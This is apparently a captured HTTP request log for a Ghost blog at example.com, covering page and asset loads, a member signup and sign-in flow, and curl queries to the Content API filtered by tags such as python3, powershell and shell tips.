{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Ashell-tips-htaccess%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=tag%3Anews%2Bstatus%3A%5Bdraft%2Cscheduled%2Cpublished%2Csent%5D&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/built/screen.css?v=xPGozQS2SFMZDlmQ", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public/cards.min.css?v=WwnU9jw5ancNC8Gc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/built/source.js?v=33sa4-qy5thAFPQH", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/fonts/inter-roman.woff2?v=OecsB5TBLy27FKD2", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public/cards.min.js?v=mLGdiz8Ij-Hk3ydN", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public/comment-counts.min.js?v=oFYkaGLdiMqB8VN9", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public/member-attribution.min.js?v=AKG4hWena9j3yX3I", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/content/images/size/w320/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/post.css", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/content/images/size/w1200/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/using-python3-and-ls-la-to-tidy-htaccess-files-2/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tag/python3/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tag/powershell/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tag/linux-ls-la/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public/ghost.css?v=aHP3I2VXEymsLMTa", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/tag/linux-ls-la/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tag/shell-tips-htaccess/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/author/alice/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tag/powershell/rss/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sitemap.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sitemap.xsl", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/sitemap.xml", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/members/api/member/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/settings/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tiers/?limit=100&include=monthly_price%2Cyearly_price%2Cbenefits&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/newsletters/?limit=100&key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sitemap-posts.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sitemap-tags.xml", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/coming-soon/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/page/2/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/robots.txt", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/using-python3-and-ls-la-to-tidy-htaccess-files-2/?ref=example.com&utm_source=newsletter&utm_medium=email", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/search-index/posts/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/search-index/authors/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/search-index/tags/?key=f05b55ba0179bcfc8cc94a1279", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/content/images/size/w160/format/webp/2026/11/feature.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/members/api/integrity-token/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 464", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"name\":\"Dave powershell Example\",\"email\":\"dave.powershell@example.com\",\"emailType\":\"signup\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400683018:3bf73f369096c9f6add1f9b1ae98cb46:e7f23a7052ff063a7be3d6314e7d0024886ddb7efa32b9fa0005958b0eabdab6\",\"autoRedirect\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400377687,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":null}]}"}
|
||||||
|
{"method": "GET", "target": "/members/?token=8ZPiTGbu73ReLyvRl98jURWkKkfRA_i1&action=signup&r=http%3A%2F%2Fexample.com%2F", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/?action=signup&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/members/api/member/metafields/custom/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/?action=signup&success=true", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 36", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"name\":\"Dave python3 & powershell\"}"}
|
||||||
|
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 18", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[]}"}
|
||||||
|
{"method": "PUT", "target": "/members/api/member/", "headers": ["Host: example.com", "Content-Length: 51", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\"}]}"}
|
||||||
|
{"method": "DELETE", "target": "/members/api/session/", "headers": ["Host: example.com", "Content-Length: 13", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": "{\"all\":false}"}
|
||||||
|
{"method": "POST", "target": "/members/api/send-magic-link/", "headers": ["Host: example.com", "Content-Length: 466", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"email\":\"dave.powershell@example.com\",\"emailType\":\"signin\",\"requestSrc\":\"portal\",\"integrityToken\":\"1794400800145:c04601f2fbf42eff0912f44306da4981:870fcacdfa42692d37f5a9444cc59480475d58048e44a25969a181864ab30e35\",\"autoRedirect\":true,\"includeOTC\":true,\"urlHistory\":[{\"path\":\"/\",\"time\":1794400493093,\"referrerSource\":null,\"referrerMedium\":null,\"utmSource\":null,\"utmMedium\":null,\"utmCampaign\":null,\"utmTerm\":null,\"utmContent\":null,\"referrerUrl\":\"http://example.com/\"}]}"}
|
||||||
|
{"method": "POST", "target": "/members/api/verify-otc/", "headers": ["Host: example.com", "Content-Length: 195", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": "{\"otc\":\"155759\",\"otcRef\":\"2346ad44-bc1b-447b-9e30-a506b9bfc8a7\",\"integrityToken\":\"1794400804868:c351ef2d02347ac40394984518784966:d7097253ef160994428604e069f539148a4cab1e4d8950512ab9a194f15ebd8a\"}"}
|
||||||
|
{"method": "GET", "target": "/members/?token=bKAQ1DVEaORlazdXjSVaDL2EZHkjardV&action=signin&r=http%3A%2F%2Fexample.com%2F&otc_verification=1794400504%3A930857376b132f4aceb9983d3d6de1dc12971c6917638fb1aebb2259bef62a1c", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/?action=signin&success=true", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=a3f10aa3-c102-45e9-bc32-187114f0c9f5; ghost-members-ssr.sig=vJWaU4QTdvQ_e3jXTmO3YrgkDis"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apython3&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tag%3alinux-ls-la&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=tags%3a%5bpython3%2cpowershell%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=primary_tag%3ashell-tips-htaccess&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27ls+-la%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=title%3a~%27.htaccess%27&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=featured%3atrue%2btag%3apowershell&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=slug%3ausing-python3-and-ls-la-to-tidy-htaccess-files-2&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter=published_at%3a%3e%272026-01-01%27%2btag%3a%5bpython3%2cnews%5d&include=tags%2cauthors&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&fields=title%2cslug%2curl%2cexcerpt&order=published_at+desc&formats=html%2cplaintext&limit=all", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/posts/slug/using-python3-and-ls-la-to-tidy-htaccess-files-2/?key=c695aa1f5cdfa62f7b677c3c83&include=tags%2cauthors", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/content/tags/slug/python3/?key=c695aa1f5cdfa62f7b677c3c83&include=count.posts", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*"], "body": ""}
|
||||||
|
